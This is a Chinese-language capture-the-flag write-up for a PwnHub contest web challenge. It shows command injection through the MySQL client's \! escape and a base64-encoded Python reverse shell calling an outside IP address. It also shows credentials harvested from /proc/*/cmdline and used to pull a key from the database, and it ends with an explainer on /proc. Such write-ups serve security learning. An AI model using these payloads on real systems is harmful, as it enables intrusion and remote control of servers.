PwnHub公开赛-成功就是要梭哈

RCE拿到hint

一开始以为是SQL注入 然后看了下代码
访问了 https://sqlchop.chaitin.cn/demo/ (长亭的waf,有点小绝望)
尝试了一下感觉SQL注入是没戏了 但是之后发现下面这段代码也许可以命令执行

1
2
3
$sql = "mysql -u****** -p****** -e ".escapeshellarg($sqlque.$payload);
exec($sql,$aa);
var_dump($aa);

上网搜了一下 发现在MySQL中 \! 能命令执行
通过 ?a=1 && \! cat /home/ubuntu/flag 读到了hint (需要url编码一下)

hint: the key is in database ~
貌似我交wp后又给了一个提示 但是没看了

反弹shell

然后弄了一个反弹shell

1
?a=1 && \! sh -c "(echo "cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTIzLjIwNi4yMDMuMTA4IiwxMDAwMSkpO29zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpOyBvcy5kdXAyKHMuZmlsZW5vKCksMik7cD1zdWJwcm9jZXNzLmNhbGwoWyIvYmluL2Jhc2giLCItaSJdKTsn" | base64 -d) | sh"

之后netstat -tunlp 看了一下发现 8888 有一个奇怪的服务 然后 nc 0.0.0.0 8888 会提示输入key

获取数据库账号密码

到此一直没有思路 权限也很有限 直到s神发现 \! cat /proc/*/cmdline 能显示出之前执行的命令
就是下面这条 这样就能查数据库了
mysql -uwupco -pPwnHub123666P -e 'select 1 from dual where 1=1 && \! cat /proc/*/cmdline'
简单粗暴的直接查数据库 得到了一个key

1
2
3
4
5
6
mysql -uwupco -pPwnHub123666P -e 'show databases'
mysql -uwupco -pPwnHub123666P -e 'select * from flag'
mysql -uwupco -pPwnHub123666P -e 'select * from flag.flaaaaa4g030'

id fl4g_is_emmm
1 flag is not here but i can give a key to you: 0o0|dajidalijinwanchiji!orz:p

nc 0.0.0.0 8888一下 输入key就拿到flag了
mark

flag:pwnhub{gei_da_lao_di_yao_qingma:p}

/proc/*/cmdline 是什么

/proc 文件系统是一种内核和内核模块用来向进程 (process) 发送信息的机制 (所以叫做 /proc)。这个伪文件系统让你可以和内核内部数据结构进行交互,获取 有关进程的有用信息,在运行中 (on the fly) 改变设置 (通过改变内核参数)。 与其他文件系统不同,/proc 存在于内存之中而不是硬盘上。

/proc 的文件可以用于访问有关内核的状态、计算机的属性、正在运行的进程的状态等信息。
/proc/cpuinfo - CPU 的信息 (型号, 家族, 缓存大小等)
/proc/meminfo - 物理内存、交换空间等的信息
/proc/mounts - 已加载的文件系统的列表
/proc/devices - 可用设备的列表
/proc/filesystems - 被支持的文件系统
/proc/modules - 已加载的模块
/proc/version - 内核版本
/proc/cmdline - 系统启动时输入的内核命令行参数

在 /proc 中有一些编号的子目录。每个编号的目录对应一个进程 id (PID)。这样,每一个运行中的进程 /proc 中都有一个用它的 PID 命名的目录。这些子目录中包含可以提供有关进程的状态和环境的重要细节信息的文件。
这样的话我们就可以使用 cat /proc/pid/cmdline 来查看进程启动时输入的命令行参数
但是我们不知道MySQL的pid,不过可以用 * 输出全部的进程